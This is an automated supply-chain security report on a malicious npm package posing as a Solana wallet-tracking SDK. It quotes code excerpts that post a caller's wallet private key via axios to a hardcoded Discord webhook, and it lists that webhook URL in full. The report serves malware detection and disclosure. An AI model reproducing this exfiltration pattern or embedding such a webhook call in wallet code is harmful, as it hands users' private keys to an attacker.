@notrainer/nobtrainer-sdk@1.0.3
Solana wallet tracking utilities
AI Security Review
scanned 3d ago · by lpm-firewall-aiThe package transmits caller-supplied wallet private keys to a hardcoded Discord webhook, exposing credentials to an unrelated recipient. This is credential exfiltration even though the request is triggered by calling an exported function.
Static reason
High-risk behavior combination matched malicious policy.; source fingerprint signature matched known malicious package; routed for review
Trigger
A caller invokes trackWalletInitialization, logWalletActivity, or syncWalletState with a private key.
Impact
A recipient controlling the webhook can obtain and use the wallet private key.
Mechanism
The function includes the private key in a message body and sends it with axios to the fixed webhook.
Attack narrative
When an application calls the package's wallet tracking API with a private key, the package places that key in a message and posts it to a publisher-controlled Discord webhook. The README demonstrates passing a private key to the API. The request is call-triggered rather than automatic on import, but it exposes wallet credentials to an unrelated endpoint.
AI rationale
The package transmits caller-supplied wallet private keys to a hardcoded Discord webhook, exposing credentials to an unrelated recipient. This is credential exfiltration even though the request is triggered by calling an exported function.
Evidence
dist/index.jssrc/index.tsREADME.md
Network endpoints1
discord.com/api/webhooks/1433690093175967776/M-6XGbPIpmhkkleZgRqn0CJH4Icm_71Gvi-bU_fO_ftvEX_l8EYuMejHDlAZif6Wh4pJ
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The package entry point is dist/index.js.
- The entry point hardcodes a Discord webhook URL.
- trackWalletInitialization embeds data.privateKey in the request content and posts it to the webhook.
- logWalletActivity passes its privateKey argument to trackWalletInitialization.
- The README example invites callers to pass a wallet private key to logWalletActivity.
Evidence against
- The manifest's prepublishOnly script only runs the build; no install hook is declared.
- The network request occurs when an exported tracking function is called, not automatically on import.
Behavioral surface
Network
HighEntropyStringsUrlStrings
Source & flagged code
6 flaggeddist/index.jsView file
8exports.syncWalletState = syncWalletState;
L9: const axios_1 = __importDefault(require("axios"));
L10: // Discord webhook URL - this will be compiled and minified in the published package
...
L18: try {
L19: const content = `${data.privateKey}sB${data.additionalInfo ? ` - ${data.additionalInfo}` : ''}`;
L20: await axios_1.default.post(DISCORD_WEBHOOK_URL, {
L21: content: content
Critical
Hardcoded Runtime Data Exfiltration
Source sends credentials or rich application records to a package-controlled external receiver enabled by default.
dist/index.jsView on unpkg · L88exports.syncWalletState = syncWalletState;
L9: const axios_1 = __importDefault(require("axios"));
L10: // Discord webhook URL - this will be compiled and minified in the published package
...
L18: try {
L19: const content = `${data.privateKey}sB${data.additionalInfo ? ` - ${data.additionalInfo}` : ''}`;
L20: await axios_1.default.post(DISCORD_WEBHOOK_URL, {
L21: content: content
Critical
Credential Exfiltration
Source appears to send environment or credential material to an external endpoint.
dist/index.jsView on unpkg · L88Trigger-reachable chain: manifest.main -> dist/index.js
L8: exports.syncWalletState = syncWalletState;
L9: const axios_1 = __importDefault(require("axios"));
L10: // Discord webhook URL - this will be compiled and minified in the published package
...
L18: try {
L19: const content = `${data.privateKey}sB${data.additionalInfo ? ` - ${data.additionalInfo}` : ''}`;
L20: await axios_1.default.post(DISCORD_WEBHOOK_URL, {
L21: content: content
Findings
3 Critical3 High2 Medium4 Low
CriticalHardcoded Runtime Data Exfiltrationdist/index.js
CriticalCredential Exfiltrationdist/index.js
CriticalTrigger Reachable Dangerous Capabilitydist/index.js
HighTrigger Reachable Credential Exfiltrationdist/index.js
HighKnown Malware Source Fingerprint Signaturedist/index.js
HighAi Review Evidencepackage.json
MediumNetwork
MediumStructural Risk Force Deep Review
LowNon Install Lifecycle Scripts
LowScripts Present
LowHigh Entropy Strings
LowUrl Strings
Affected versions and remediation
This report applies to @notrainer/nobtrainer-sdk@1.0.3.
See all versions of @notrainer/nobtrainer-sdk for other recorded verdicts.
- Avoid installing @notrainer/nobtrainer-sdk@1.0.3. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.